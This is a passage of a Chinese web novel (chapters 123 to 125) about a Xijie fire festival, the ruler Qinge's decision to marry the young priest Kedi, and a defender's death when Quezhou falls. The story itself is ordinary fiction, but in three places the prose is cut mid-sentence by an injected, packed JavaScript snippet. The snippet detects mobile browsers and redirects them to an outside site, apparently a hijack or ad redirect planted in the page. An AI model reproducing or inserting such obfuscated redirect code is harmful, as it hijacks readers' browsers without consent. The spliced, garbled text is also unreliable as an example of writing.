汪恕握着刀的手颤了颤,他这细微的动作依旧没有逃脱江阮的目光,江阮漫不经心地走过来,汪恕感觉他身前的空气在这一瞬间凝固。 “况且替家人打仗,总比替别人打仗要更有动力些,不是吗?” 江阮总能在一个人最心慌的时候用语言精准射中他的心脏,汪恕说不出话,而江阮没有理会他的失魂落魄,他转身去桌前写了些什么,招呼汪恕过来。 “烦请汪将军跑一趟。您打进阙州后,我希望这封信同时出现在崇明殿。” 汪恕接过那张字条,他的目光扫过那封口处的名字时一愣,转即如释重负地笑着道:“臣明白了,我会做好的。” “祝汪将军早日凯旋,希望您能赶得上和妻儿一同参加元宵游园。” 123.聊以卒岁(四) 第二日清早,陈京观被帐外的孩童嬉闹声吵醒。他的思绪还没有从昨夜的梦中回来,他伸手敛了敛身上的被子,整个人瑟缩在床榻的角落。 不知道过了多久,正当他要再次入睡时,门口有人轻声喊了一句“少将军”。 自从朔州一战后,陈京观已经很少再听到这个名号了,那些将他奉为少将军的人没了,他这个名号也随着那些人葬在了泯川江畔。 席英他们几个平日里习惯了叫他的名字或者唤他兄长,此时这突如其来的一句“少将军”彻底唤醒了陈京观。 陈京观应了一声”谁“,帐外的人没有回答,他虽心有疑虑却依旧起身随手抄起一件披风挂在肩上。他站在帐帘旁犹豫片刻,伸手掀起了帘子。 “何事?” 眼前是一个陌生男子,陈京观四下张望着发觉周围的人都没有感觉异常,而眼前的男子恭敬地朝他行礼道:“在下科迪,西芥现任祭司。” 陈京观了然地点头,向科迪行了一遍西芥的礼数。他在西芥待了这许多天,如果不是平日与他亲近的人,或许真的会只凭外貌错把陈京观当作西芥人。 “少将军客气,没想到短短几个月您就入乡随俗了。” 科迪语气里的情绪被陈京观敏锐地捕捉到,但他没有应声,只听科迪继续道:“今日祭火节我是主祀,往常我们部落的人是不可以随便离开封地的,所以久闻少将军大名,今日才得以一见。” 科迪客气地向陈京观表明由来,陈京观笑着应和道:“那该是我要去拜访祭司,怎的劳烦您跑一趟,我毕竟是客。” 科迪笑着没有说话,陈京观瞧出他意味不明的笑里还有其他意思,不过既然科迪没有要点破的意思,陈京观也只好装作什么都不知道。 “那您先去圣火池,待我收拾一下就过去。” 科迪应了一声“好”,临走时又一步三回头地看着陈京观。 陈京观没有从他的表情中看出恶意,却也被这突如其来的关注扰乱了心绪,他急匆匆去屋子里洗了把脸,出门时在后腰别了一把匕首,还带上苏清晓给他准备的面纱。 今天是十二月二十三,西芥传统的祭火节,也是西芥的新春。若按常理陈京观这些外乡人是不可以靠近圣火的,可沁格即位后废除了所有等级划分,以此方便其他地方的人迁徙到西芥,他们沾了这些外商的光获得了进入圣火池的资格。 今年的祭火节比往常都更加盛大,沁格在准备的初期就下定决心,要将这次祭火节办成宣扬西芥威严的盛典,她要告诉天下,她掌着的西芥是真正的圣土,是外族人休想踏入一步的家园。 陈京观走出帐子时圣火池附近已经人山人海,他顺手提了一下挂在自己鼻梁上的面纱,还没等他继续动作,身后突然有声音响起。 “别吉给我们留了位置,我们不去中心区。” 苏清晓轻声道,陈京观点头跟在了他身后。二人逆着人群逐渐走到牧区的边缘,陈京观瞧见了等在那里的陆栖野,席英和平芜。 “你等会儿就走?” 陆栖野仔细端详了一下带着覆面的陈京观,嘴角沁出一抹笑,他点了点头应道:“嗯,点火仪式结束就走,我和父亲商量好明日出发回澄州。” 陈京观“嗯”了一声,却看到陆栖野继续看着自己,“我不是圣火。” 陈京观身旁的苏清晓和席英对视着轻笑了一声,陆栖野故作认真地答道:“我知道啊,不过很少见你这幅装束,你别说还真有点江湖上神秘侠士的味道。” 陈京观无奈地瞥了陆栖野一眼,又将自己的面纱紧了紧。 “今日人多眼杂,虽说沁格加大了身份筛查,可保不定会混进来什么奇怪的人。我现在还是死人,不能太张扬。” “谨慎些是好的,”陆栖野应道,说完他朝不远处看去,望见一身华服的科迪已经走到了台上,“要开始了。” 陈京观顺着陆栖野的目光看过去,方才那个羞怯着给自己行礼的少年人此时双手各执一个圣器,乌黑的头发散落下来与玄色的袍子融为一体,他脸上画了几道陈京观看不懂的符号,倒是给他增加了神圣感。 陈京观望着科迪有些出神,陆栖野连叫了他几声他都毫无反应,直到那把火点燃了高高束起的柴堆,一瞬间紫烟升腾上天,科迪所在的方向传来低沉的咒语声。 “祭司,真的会在做法事的时候被附身吗?” 陈京观自言自语道,他只觉得科迪的转变让他兴致盎然。他看着科迪绕着圣火池起舞,沁格高坐在宝座上头顶王冠,科迪经过时沁格时慢慢停下,手上的圣器相互击打发出清脆的“叮叮”声,三下之后沁格睁开双眼,科迪将迟到的圣水点在了沁格的额头。 陈京观所在的位置听到他们在说什么,他只看到沁格的动作稍微停顿了一下,但这细小的动作没有影响庆典的顺利进行,科迪朝沁格跪拜后继续着自己的祭词。 约莫半个时辰,整个点火仪式顺利结束,此时一轮骄阳从地平线升起,在科迪最后一次敲击圣器的尾声,那太阳彻底定在了天边,地上的烈焰和空中的烈焰交相呼应。 “看起来像是结束了,”席英意犹未尽地说着,“不愧是唯一保留巫术的民族,这样的典礼的确摄人心魄。” “不过这应该是科迪第一次做主祀。” 苏清晓在一旁道,席英问,“为什么这么说?” “他的袍子下摆只有一道金边,西芥的祭司每主持一次就会亲手绣上一道金边。” “那之前的祭司呢?” 苏清晓看了陈京观一眼,席英也将目光定在了陈京观身上。 此时的陈京观对早上科迪的反应猜到了一些,但他觉得那不是全部。 “西芥的祭司部落,每一位主祀会在四十三岁的时候将自己送还给上天,之后就会由新的主祀来接替他们的位置。” “送还上天?” 席英欲言又止,陈京观点头应下了她的猜想。 “天葬,让活人躺在献祭台上等待自然凋亡,他右手的圣器就是他父亲的胫骨。” “胫骨……”平芜脸上表情变得微妙,他方才还同席英一样对西芥的风俗饶有兴趣,现在被这习俗背后的故事一惊,“这,合天理?” 陈京观叹息道,“西芥的祭司拥有仅次于首领的地位,而且是这好战的民族中唯一一个永远不会被战乱侵袭的存在。他们自诩窥看天机太久,到一定岁数就要将自己还给上天赎罪。” 陈京观这番解释之后,原本盛大的祭火节变成了一个又一个祭司的墓碑,那时升上天空的紫烟仿佛就是他们远离人世的灵魂。 “算了,尊重他人的文化,但是对此保持我自己的态度。” 席英嘟囔了一句,苏清晓笑着转头看她,“什么态度?” “理解但不支持。” 苏清晓和陈京观对视一眼没有说话,半晌后圣火池边的人慢慢散开,陈京观瞧见沁格回到了自己的营帐,而萧祺栩在四处寻找他们的身影。 “走吧,记得不要把自己的情绪表现的太明显。” 陈京观说完后席英和平芜应了一声,一行人跟在陈京观身后绕过集结在一起的人群,从最外围回到了牧区中心。 “你们来了。” 陈京观掀开帘子,沁格正在擦拭那顶王冠,她身边站着科迪,他望见陈京观后朝他微微点头示意。 “方才的祭火节都看了?” 陈京观道:“盛大,庄严,神秘,今日一见果然不负盛名。” 沁格轻笑一声,她背对着陈京观,陈京观看不到她的表情。 “你当真是这么想的?” 陈京观笑而不语,沁格转身后慢慢走近他,“你从来都不会撒谎。” “是我愚笨。” 陈京观脸上笑意难掩,沁格招呼跟在他身后的人坐下,科迪依旧不紧不慢地跟在沁格身侧。 “你应该知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15222793|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭火节和这背后的故事,你当真觉得这是一场盛典?” 沁格说话时若有所思,仿佛她是在问她自己,陈京观没有立刻回应,他朝席英点了点头,席英明了了他的意思。 “别吉,这些日子我在西芥多与您亲近,我将您当作是姊妹,可算冒犯?” “当然不算。初见时我就敬小将军是巾帼英雄,甚至还曾羡慕过您。” 沁格笑着回道,席英微微点头以示回礼,“那您方才问兄长的话,我能回答吗?” 沁格点头,席英继续道,“我不认为存天理灭人欲的神真的能给人带来希望和力量。” 席英此话一出,整个帐子仿佛隔绝了外界的喧闹,只剩下帐中的柴火哔啵作响,沁格沉默不语,陈京观瞧着她身边的科迪也低着头。 “主祀大人,”席英起身朝科迪行礼,“您方才的祭祀仪式堪称绝妙,在我不知道背后的一切之前,我只觉得叹为观止。” “那现在呢?” “惨无人道。” 沁格感觉到身后的科迪朝后退了一步,他在典礼结束后重新束起了长发,此时清晰可见一个少年的样子。 “您特许我们参与祭火节,想必是想让我们以旁观者的角度看一看西芥最盛大的风俗,可您这么做,对外人是炫耀,对我们应该不是。” 席英目光灼灼言辞恳切,沁格缓缓点头道:“各位都是聪明人,我今日之所以能将西芥的隐痛掀起来给你们看,是因为我真的拿你们做了朋友。昨日陆少主说北梁有沉疴,我想该是匪兵四起?那我西芥也同样有自己的隐疾,这隐疾若是处理不当,西芥将一朝覆灭。” 沁格停顿片刻继续道:“我西芥以宗法立国,崇尚天道,信奉长生天和永夜玄鸟,我们祖祖辈辈以天命为根基,可阿布之死暴露了巫医弊端,阿哈之伤暴露了天命选任之祸,此类种种是天命还是人命,是无能为力还是一叶障目,我思虑良久,终不得法。” 沁格说到这长叹一口气,她侧过身看了看科迪,瞧见他缩着身子一言不发,他手上还带着兹察去献祭台前为他做的藤木戒指,少年人下意识转动着手指上的戒指,半张脸隐匿在阴影处。 陈京观从沁格说这番话开始就一直在观察科迪,他离开圣火池后像是被抽走了灵魂,此时如同沁格的影子一般与她形影不离。 “主祀大人,您早上还有话没和我说完吧?” 科迪抬头,陈京观笑着问他,“如果不方便,我们可以出去说。” 沁格转身看了科迪一眼,显然她并不知道科迪私下见过陈京观的事情,科迪沉默片刻后点头道:“那就麻烦少将军了。” 离开帐子前,陈京观看了席英一眼,席英知道了他的意思,支走了屋里其他几个人,只留下了自己和沁格。 “少将军,”科迪叫住了陈京观,“我知道恪多首领许过您与别吉的婚约,我不知道那时的您为何拒绝她。我只想问您一句,您现在愿意吗?” 陈京观摇头道:“别吉应该和自己喜欢的人在一起。” 科迪动作一滞,“可她如果断掉了西芥与天道的联系,那就得用其他的联系续上。比如如你们汉人一般,靠血脉。” 陈京观没有说话,科迪看了他一眼继续道:“别吉下个月就二十四岁了,且不论她要不要修改天道治国的根基,她这个年龄即使是以往的男子当首领,也会被强求留下宗族血脉的。” 所以穆云山才会说在他凯旋后娶她为妻。 陈京观恍惚了一瞬,那些压在心底的回忆涌了上来,可他很快恢复理智,回答道:“那也不该是我,别吉与我在一起只会受到更大阻力。” 科迪意外沉默了,陈京观朝他走近,缓缓靠近他的耳边,“主祀大人说这么多,再加之早上的突然来访,其实是想确认我会不会为了西芥的兵马趁火打劫求娶别吉。” 陈京观顿了顿,“祭火节上我没听到的那句话,是你在告诉别吉你喜欢她,对吗?” 124.聊以卒岁(五) 科迪下意识朝后退了一步,隔开了陈京观和他的距离,陈京观笑着没有继续说话。 虽说科迪成了西芥一人之下万人之上的存在,可他也不过和陆栖野一样大,此时他在陈京观眼里褪去了那身祭司的华服,只是一个情窦初开的半大小子。 陈京观也终于明白了科迪那说不上恶意却又充满针对的情绪从何而来,可能在科迪眼里,陈京观一直是那个活在别人嘴里,却差一点娶走沁格的人。 “可她如果和我在一起,我没有办法陪她一辈子的,”科迪苦笑着说,“祭司注定要在四十三岁走向死亡,我不想让她亲手送我上祭台。” “她执意要修改天命,难道没有考虑你这生来注定的命运吗?她方才只是碍于你在场而没有提到你阿布,她明明有那么多契机挑明这件事,她却偏偏选择了祭火节,在你完成了你人生中第一场主祀后提出。” “别吉向来将我当作她的弟弟,我是从出生起就被选为祭司的人,自然会和首领的子女来往更多些。” 科迪此时的解释看起来十分刻意,陈京观脸上笑意渐浓,无奈摇头道:“她是穆云山的爱人,所以你要接受现在的她并不爱你,可她也是西芥的别吉,所以她不会也不能为爱殉葬。你知道的这些她只会更加心知肚明。” 科迪沉默不语,片刻后缓缓开口道:“我不想让她遭人非议,说她做这一切都是因为个人私情。” 陈京观走上去拍了拍科迪的肩膀,他的手久久地放在科迪的肩上。 “如果非要给修改天命一个理由,为什么不能是爱?这是最让人挑不出错的原因。” 此时的首领帐中,席英试探着坐到了沁格对面,沁格一言不发,只是眼含笑意地望着她。 在席英来西芥之前,沁格因为恪多对她的偏爱而享受着独一份的优待,她是幸运的,可她的幸运让她成为了西芥女子中的异类,她找不到能同她说说话的朋友。 沁格第一次看到席英的时候羡慕极了,那时候的她不知道席英的身世,她只看到席英有爱她的兄长和属于她的蓝天,后来席英随着陈京观东征西战,她也渐渐名扬天下,和北梁的桑柘并称“南英北柘”。 沁格派人去查过她,发现她在遇到陈京观之前,过着与寻常人家的姑娘无二的日子,她今日的地位是她一刀一刀打出来的,那时沁格就一直期待着能再见到席英。 谁知当一切成真,沁格再看到的是席英背着重伤昏迷的陈京观连夜奔驰而来,两年时光让当初那个瘦小的姑娘出落成了真正的将军。 不过在沁格眼里她没有变,她还是让沁格羡慕,只是这次沁格羡慕席英的简单和自由,更敬佩她千帆过尽不染分毫。 于是沁格第一次主动问出”你要和我做朋友吗”,席英那一瞬的表情沁格至今都记得,那欣喜又带着惶恐,期待又带着犹豫的样子,沁格看到了席英从来没有在人前露出过的可爱。 亦如此时,席英还是没有学会如何隐藏自己的情绪,沁格见她不知道从何问起,索性自己开口道:“你知道我在想什么对吗?” 席英点头,沁格笑着低下头继续道:“那你是要劝我还是支持我?” 席英思虑片刻,缓缓开口:“我只问你一个问题,你喜欢他吗?” 沁格停顿片刻后诚实地摇头道:“至少现在,穆云山还是我的爱人。” 席英努了努嘴,勉强笑着说:“所以你最终还妥协了,兄长两年前对你的祝福,终究还是没能实现。” 沁格没有立刻回答,席英瞧见她目光闪动,思忖良久后道:“可他喜欢我,这已经很难得了。” 席英说不出话,沁格却安慰她,“我要改的是西芥的天命,那科迪就是这世界上最合适的人选,他的存在本身就是天命。而我与他的孩子会成为西芥历史上第一个同时拥有天命和人命的君王,她将是西芥新篇章最好的开端。” “那你呢?” 沁格笑着答道:“我首先是西芥的别吉,其次才是沁格。我所要做的一切中,选择嫁给我不喜欢的人是最简单的那一个。” “为什么不能再等等?” 席英说完后也觉得自己失言了,可沁格并不在乎,她笑着反问道:“等到我忘记云山,还是等到我喜欢上科迪,亦或者等到大大小小的部落送来适龄的人让我挑选?等待没有意义,沁格是自由,可别吉不是。在我接过阿哈的王冠时我已经下定决心,我这辈子的所有选择都将以西芥为重。” “况且科迪很好,他是真的一直喜欢我,”沁格叹气道,“只是我从前只将他当作弟弟。” 沁格拉过了席英的手,“如果无法与喜欢的人长厢厮守,那么找一个本身就很好的人共度余生,我其实已经比许多女子幸运了,不是吗?” 在沁格的脸上,席英看到了真正的释然,她变得云胡不喜,变成了一只真正高悬晴空的玄鸟。 祭火节后三日,一封圣旨从首领帐中传向西芥各处。 待到春日融雪,部落迁徙到春牧场时,沁格将同科迪完婚。 随着这封圣旨一起降下的还有足以撼动整个西芥的命令:削弱天道,崇尚人道。 科迪所在的部落被允许与其他部落自由通婚,被允许离开封地,他们作为西芥最后一支祭司,保留其所属部落的所有权利,依旧负责主持各大庆典仪式,依旧秉持继承制,只是废止了四十三岁天葬的仪式,每一代祭司将在四十三岁完成圣器交接。 兹察成为了西芥永远的圣器。 这样的旨意引起了一些守旧宗族的抗议,他们中大多数本来就觉得由女子当权会坏了天意,如今沁格直接削弱了天命的威力,向这些人宣示着“天不容我,我便是天”。 只是这些人的声音终究被沁格亲手拉起来的牧民压了下去,早在沁格废除阶级制度的时候沁格就成了他们的天。 “你的喜服要开始准备了。” 席英抱着比她还高的料子钻进帐篷,沁格笑了一声伸手接过来。 “不急,西芥的春日要到四月了,我们还有时间。” 席英却摇头道:“早些准备还是好的,我瞧着今日宗大人来了,我让他下次来的时候顺便带些大婚时用的东西,先备着。” 沁格笑着没说话,她招呼身边的侍从将料子拿下去给裁缝,又叮嘱着让给席英也做一套西芥的婚服。 “我还用不着呢,不急。” 席英说话时慢慢红了脸,沁格打趣道:“十七,正好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228659|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可是我还没有寻到心上人呢。” 席英的声音越来越小,她抿着嘴不知道想到了什么,沁格望着她出神的模样“嗤”地笑出声。 “当真?” 席英难为情地看了沁格一眼,可还没等沁格说话,帐子的外帘被掀开,一阵寒风扑面而来,沁格正了正颜色,轻声问道:“怎么了,进帐不知道先通报一声?” “别吉赎罪,”眼前的兵士跪在沁格面前,“少将军请您去一趟统战营,阙州破了。” 闻言,沁格眼中闪烁过一丝寒光,她没有动作而是继续问道:“南魏没了?” 兵士犹疑着摇头,“禀别吉,在阙州被打下前,萧家人悉数去了盛州。” “呵,”沁格一声轻笑,“所以死的又是无辜百姓?” 那兵士没了声响,沁格也没有难为他,她摆手让兵士退下,然后她望着身边的席英道:“你家是盛州的,可还有什么人?” 席英缓缓摇头:“广梁大水都淹了,就剩我一个。” 沁格脸上愠色更甚,她忍着心中的怒气道:“走吧,先去看看到底什么情况。” 其实方才席英若是再慢一些,她就能得到第一手消息。她和宗毓庆嘱咐过大婚的事情后前脚刚走,宗毓庆的手下就急匆匆地策马跑来,与他耳语了几句,宗毓庆脸色一变直冲到陈京观的营帐。 如今所有人挤在统战营的小帐篷里,虽说是正月刚下过雪,可帐子里每个人呼出来的气带着不可言说的潮热,大家面面相觑,一时间心中的悲凉和嘲讽堵住了他们的喉咙。 “他快要退到西芥了,”沁格率先开口,她冷笑一声继续道,“纵使北梁最终决定和他联盟,他真的能熬到那个时候吗?” “他怕死也不是一天两天了,只是我没看懂他如今手里明明有兵的,为什么不打?这南魏没了师兄就没人能打仗了?都和他一样怕死吗?” 平芜说完一屁股坐到角落,他不想再去看桌上放着的阙州情报。他从小是雍州长大的,只去过几次阙州,他尚且如此,更何况从小长在阙州的苏清晓和陈京观。 平芜一手支着脑袋一手下意识扶着腰侧刀柄,他看着眼前沉默的两个人脸色慢慢暗了下来。 沁格轻咳一声,站在她身侧的萧祺栩看了一眼陈京观,轻声问道:“哥,你有什么打算?” 陈京观没说话,他抬头看了看宗毓庆,宗毓庆明白了他的意思,从自己怀里掏出一张纸,道:“再考虑怎么应对之前,我觉得我们有必要看看这个。这东西如今满天下都是,识字的不识字应该都听过了。” 宗毓庆将那张纸展开摊在桌上,陈京观示意平芜念给大家。 “天非一人之天,地非一人之地!彼所谓真龙天子者,不过沐猴而冠之徒。尔观其冠冕堂皇,内藏豺狼心肠;尔闻其圣德昭昭,实则白骨铺阶!昔以三尺剑夺天下,今以九鼎食啖苍生。此等帝王术,与屠户何异?” “日月轮转岂凭朱笔?江河奔涌何需玉印!田间耕夫汗滴五谷,市井匠人血淬百器,此方为社稷筋骨!当执戈而起,裂土分疆,以我等头颅铸新天,以我等脊梁撑广厦!王侯将相宁有种乎?血性未泯者,当举旗高呼:山河重整日,万姓掌灯时!” 125.聊以卒岁(六) 平芜话音刚落,站在一旁沉默的苏清晓突然轻笑一声,他缓缓朝陈京观作揖道:“不愧是你,不差分毫。” 陈京观微微皱眉没有应答,沁格和萧祺栩彼此对往后看向陈京观,见他没有想要说话的意思就又看向苏清晓。 “那日陆少主来,京观让他给元焕递句话,他觉得江阮想要的王朝倾颓,天下无君。今日这《敬告天下人书》可谓是将江阮的心思完全展露了出来,他真的是个疯子。” “天下无君?”萧祺栩不解地问道,“可他不就是东亭的皇帝?” 苏清晓挑眉道:“他真的是吗?他有做过任何皇帝会做的事情吗?他至今都没有举行过登基大典,他没有后宫,没有朝会,甚至没有属于他的朝廷,他不过是在攻城略地,比起皇帝他更像个反贼。” 萧祺栩哑声,苏清晓的话给了这屋里每个人一记当头棒喝。 如果江阮一开始就不是奔着皇位去的,那他的所有行为将不可捉摸,他推翻了过往所有谋权篡位者的逻辑。 “那他这篇文章想要达到什么目的?不是每个人都和他一样无牵无挂,都和他一样手握重兵,大多数人只会成为战争的牺牲品。他这是在引诱所有心怀不满的人为他所谓的天下无君卖命,本质上他和他口中的暴君有什么两样。” “可被君王抛弃后的百姓,真的不会心动吗?” 陈京观终于开口,他冷冷地说道:“那些备受欺辱的平民真的不会心动吗?那些饥寒交迫的灾民真的不会心动吗?他在蛊惑人心这件事上从未失手。” 陈京观猜到了江阮这么久没有动作一定是在酝酿一场更大的暴风雨,可他没想到江阮竟直接将自己的野心广而告之。 这些极富煽动性的话语在陈京观他们眼中是饮鸩止渴,可对于那些走投无路的人来说就是绝处逢生。 而江阮选择在攻下崇明殿这座早已人去楼空的王宫时向天下人发出邀请,他正是在用萧霖的实际行动为他的宣言做背书,他让天下人看到了他所说字字属实。 在令人绝望的事实面前,看上去荒谬的话语就成了濒死之人的救命稻草。 “他这一战还是武力推动?” 陈京观侧过身问宗毓庆,宗毓庆点头道:“甚至比廊州打得还顺利,那个汪恕像是得了天助,不仅算无遗策而且毫无怯战的意思。萧霖走的时候带走了大部分巡防营的人手,之前调到阙州的守军也早就被他安排在了广梁,崇宁招募的那六万兵马原本是在景州,等他们过了运河那些人也就跟着去了盛州。” “大部分?还有人驻守阙州?” 陈京观的敏锐让宗毓庆字斟句酌的隐瞒一瞬间现了原形,他叹了一口气道:“你认识,夏衍。” 那一瞬陈京观的呼吸被一双无形的手擒住,他怔怔地眨着眼睛,双手不自觉地握到了一起,“他死了?” 宗毓庆“嗯”了一声,“夏总兵及其所属巡防营一千零三十二人,全部战死。” …… 正月初三,那日原本不是夏衍的班,他前夜已经当值一夜了。他出发前和妹妹约好要回家吃早饭,可第二日清晨来替他的人迟迟没有出现。 陈京观离开后夏衍的日子没那么好过了,巡防营的人大多是阙州子弟,夏衍是这盘根错节的关系中突然出现的意外,最开始他靠崇宁上位,后来依仗陈京观,如今他无所依靠却占着总兵的位置,看不惯他的人不胜枚举。 陈京观刚离开的时候,关策念在是他接应自己进阙州的份上会帮衬他一些,可如今这朝堂也是风云莫测,关策自己自顾不暇更何谈想起巡防营还有一个夏衍。 夏衍接了一盆冷水洗了个脸,本来想招呼手下的兵士来替他一个时辰,让他好歹先回家换件衣服,可他在巡防营转了三圈也没有找到一个能说上话的,而且今日来上值的人肉眼可见的少,甚至不用点名册都能看出来人数不对。 “人呢?换班的时间到了。” 夏衍随便抓住一个从自己面前跑过去的兵士,那人瞥了夏衍一眼,没好气地说:“都到这时候了谁还有心思上值啊,谁知道东亭的兵哪一日就打进来。” 说着那人挣脱了夏衍的手,临走时又回头看着夏衍道:“我说你也不用这么卖命,陈京观一死长公主能留你一条命不错了,且活且珍惜吧。” 那人说完后鼻子里冷哼了一声,夏衍没有搭理他,继续往巡防营里走。 不知道是不是他的错觉,他觉得离开的都是崇宁安插在巡防营里的人。 只是还没等夏衍细想,他突然听到外面有人大声喊道:“东亭军来了!警戒!” 夏衍的神经一瞬绷紧,他扯了扯身上的铠甲,确认无误后拔出了腰间的佩刀直冲城门口走去。 “大概多少人?” 夏衍朝那一堆打着寒战的兵士问,他们只是白了夏衍一眼没有应他。 “我如今是你们能找到的最高长官,你们不听我的命令,是打算直接抹脖子自尽吗?东亭军是怎么对廊州守军的你们都听过,连知州都被挂了小半个月,你觉得你们能好过?”夏衍怒不可遏地朝那些人喊道。 像是没想到平日总是笑盈盈的夏衍能有这脾气,方才像没头苍蝇一般扎堆的士兵自觉地站成一排清点人数,夏衍从他们每个人面前走过,看着他们的眼睛,却也慢慢变得悲切。 “事到如今各位也该明白了,巡防营只剩我们,我们不过是南魏朝廷的弃子,是他们给江阮上演空城计的道具。”夏衍自嘲般轻笑道,“崇明殿里的也该都跑了,毕竟迁都的消息不可能是空穴来风。” 眼前的人交头接耳,夏衍没有出声制止他们,只是盯着手上刀看了一会。 “能被留下的,都是家里没有势力的,所以也就不要想着朝廷还会派兵来救,他们能看着少将军死,又怎么会让我们活。” 夏衍提到陈京观的时候声音微微发抖,转瞬却鼓足精神喊道:“可我们的父母妻儿兄弟姐妹还在城里,我们要是退了,他们必死无疑。” 原先嘈杂的议论声没了,为之替代的是时不时传来的抽泣,夏衍将妹妹给自己的帕子递给了那个泣不成声的同伴,他没有出声训斥,只是轻轻拍着他的肩膀道:“至少为了家人战到最后一刻吧。” 夏衍的声音不大,可眼前这小一千人听得清清楚楚。他顿了顿迈步走上城墙,隐约能听到不远处像是有马蹄声,他还没真正打过仗,可是听那些从泯川江回来的士兵说了战争的惨烈。 夏衍站定在城墙上,远处与天际线交融地方有一条慢慢散开的黑线,他知道那就是东亭军,看人数大概有两万。 “看来他们是算准了萧霖会把我们丢下自己逃命,”夏衍说着有些失神,“两万人,明明是可以打得过的。” 夏衍话说到最后几近无声,他身后士兵颤抖的身子惹得那铠甲泠泠作响,夏衍转身扶住了那人的肩膀。 “走吧,我们先替家里人探探路。” 这一仗是汪恕打过最轻松的一仗,他原本不确定萧霖会弃城逃命,可江阮说让他放心去,他有所准备。 当汪恕看到城门口站着的一千士兵时,他手里的马鞭缓了缓,他看到为首的小孩比他儿子大不了几岁。 “将军,我们直接打吗?” 副将在他身侧问道,汪恕点了点头没有说话。 “全军前进,争取天黑前拿下阙州城!” 副将一声令下,汪恕只听到背后喊杀声一片,那些原本软绵绵的东亭军被先前的几仗打出了士气,如今一个个跃跃欲试,汪恕感觉自己身旁人影呼啸而过,他放慢了步子退到了人群后面。 一千个巡防营守卫在两万东亭军面前好像落入狼群包围的麋鹿,汪恕看到遍地血红和不断冲上来的守卫,他就站在不远处看着这一切。 汪恕望着为首的那个小孩被刀剑刺伤了胳膊,他的大腿鲜血汩汩,他转身时背后一条血口子触目惊心,可他没有要停下里的意思,他像是这些人的首领,更像是这些人的旗帜,仿佛只要他还活着这场仗就没有结束。 汪恕手里握着一把弓箭,凭他的技术他完全可以轻松结束这场战斗,可那悬而未决的箭头在他手心里慢慢被汗浸湿,他觉得自己不是心软了,而是对这孩子产生了敬佩。 整个南魏的心都空了,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15231637|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧有人在为它卖命。 终于,夏衍的胳膊因为一次又一次挥动而变得麻木,他奋力抵住又一次进攻,却被人从身后捅穿心肺。他感觉自己的脚离开了地面,他感觉自己的手失去了控制,他感觉灵魂在随着流淌的血水离开他的身体。 夏衍闭上眼的瞬间,汪恕骑着马推开了阙州的城门。 …… “萧霖让他留下的?” 宗毓庆答道:“不知道,谍子送来的情报上只提到他战死阙州城门,除此之外什么也不知道。” “我记得他还有两个妹妹,能找到吗?” 当初陈京观许了夏衍一家在雍州安乐过活,可因为夏衍离不开阙州,他们最终还是选择隐姓埋名在阙州陪着他。 他们成不了夏衍的助力,可他们希望至少夏衍散值能吃到一碗热饭。 宗毓庆抬头看了平芜一眼,平芜应了一声立刻跑出帐子,而陈京观像是卸了力一般靠在椅背上,他的脸上已经看不出悲喜,他只是惶然地望着前方。 “策反贺福愿,示众史忠,写敬告书,他还是真是每一步都走得稳当啊。” 陈京观缓缓闭上眼睛,夏衍好像就站在他面前,他已经记不清夏衍的样子了,他印象中的夏衍还是那个扛着一把和他差不多高的刀,明明心里怕得要死却站在阙州城门前拦着自己的小孩。 陈京观觉得夏衍战死的时候应当也是那副模样。他在发抖,他在哭,可他嘴里依旧念叨着宁死不降,依旧守着阙州的最后一道防线。 其实即便萧霖没有下令让他留下,夏衍还是会留下的。巡防营是他千辛万苦才进去的,这阙州城也是他千辛万苦才进去的,他的家人还在里面,他带不走他们却能守着他们。 当初夏衍成了陈京观下定决心重返阙州的最后一个推手,而今夏衍成了陈京观一定要再回阙州的又一个理由。 “他才不到二十啊。” 不知过了多久,陈京观缓缓出声,他烦躁地揉着紧锁的眉头,再睁开眼的时候看到整个帐子只留下了萧祺栩和苏清晓。 “宗大人要赶着天黑之前回去,席英去送了,别吉安排手下的人加紧巡逻,江阮这一篇文章不知道能掀起多大的水花。” 陈京观点了点头,苏清晓给他递过来一杯茶。 “缓过来了?” 陈京观抿了一口茶,“嗯”了一声,苏清晓长叹一口气道:“夏衍就是你在阙州遇到的那个小守卫?” 陈京观点头,嘴角沁出一抹笑道:“现在是夏总兵了,他还说他有自己的人了。” 苏清晓深吸一口气,望着眼前的陈京观半天没说话。 “我是不是又感情用事了?”陈京观苦笑一声抬头望他,“我发过誓不会再被情绪牵着走的。” “可人没了情感,还能剩下什么?” 苏清晓说着不自觉地低下了头,他目光所在的位置挂着一个锦囊,那里装着苏晋给他的最后一封信。 